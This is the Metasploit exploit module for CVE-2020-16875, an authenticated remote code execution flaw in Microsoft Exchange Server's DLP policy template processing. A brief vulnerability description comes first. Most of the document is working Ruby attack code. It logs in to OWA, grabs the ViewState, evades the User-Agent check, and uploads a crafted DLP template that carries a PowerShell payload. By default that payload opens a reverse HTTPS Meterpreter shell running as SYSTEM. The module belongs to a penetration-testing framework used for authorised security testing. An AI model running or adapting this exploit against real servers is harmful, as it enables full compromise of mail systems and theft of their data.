This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU14 on Windows Server 2016.
4817f312503fe0d215155d229b4a3b48##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the "Data Loss Prevention" role assigned and an active
mailbox.
If the user is in the "Compliance Management" or greater "Organization
Management" role groups, then they have the "Data Loss Prevention"
role. Since the user who installed Exchange is in the "Organization
Management" role group, they transitively have the "Data Loss
Prevention" role.
The specific flaw exists within the processing of the New-DlpPolicy
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
SYSTEM.
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
},
'Author' => [
'mr_me', # Discovery, exploits, and most of the words above
'wvu' # Module
],
'References' => [
['CVE', '2020-16875'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
],
'DisclosureDate' => '2020-09-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Exchange Server 2016 and 2019 w/o KB4577352', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
CONFIG_CHANGES, # Creates a new DLP policy
ARTIFACTS_ON_DISK # Uses a DLP policy template file
]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'OWA username']),
OptString.new('PASSWORD', [false, 'OWA password'])
])
end
def post_auth?
true
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
unless res.code == 200 && res.body.include?('<title>Outlook</title>')
return CheckCode::Unknown('Target does not appear to be running OWA.')
end
CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
end
def exploit
owa_login
create_dlp_policy(retrieve_viewstate)
end
def owa_login
unless username && password
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
end
print_status("Logging in to OWA with creds #{username}:#{password}")
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
'vars_post' => {
'username' => username,
'password' => password,
'flags' => '',
'destination' => full_uri('/owa/', vhost_uri: true)
},
'keep_cookies' => true
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
unless res
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
end
unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
if res.body.include?('There are too many active sessions connected to this mailbox.')
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
end
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
end
if res.body.include?('Choose your preferred display language and home time zone below.')
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
end
print_good('Successfully logged in to OWA')
end
def retrieve_viewstate
print_status('Retrieving ViewState from DLP policy creation page')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'keep_cookies' => true
)
unless res
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
end
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
end
print_good('Successfully retrieved ViewState')
viewstate
end
def create_dlp_policy(viewstate)
print_status('Creating custom DLP policy from malicious template')
vprint_status("DLP policy name: #{dlp_policy_name}")
form_data = Rex::MIME::Message.new
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
form_data.add_part(
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
)
form_data.add_part(
dlp_policy_name,
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
)
form_data.add_part(
dlp_policy_template,
'text/xml',
nil,
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
}, 0)
end
def dlp_policy_template
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Metasploit</publisherName>
<name>
<localizedString lang="en">#{dlp_policy_name}</localizedString>
</name>
<description>
<localizedString lang="en">wvu was here</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>
XML
end
def dlp_policy_name
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
end
def dlp_policy_filename
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
end
end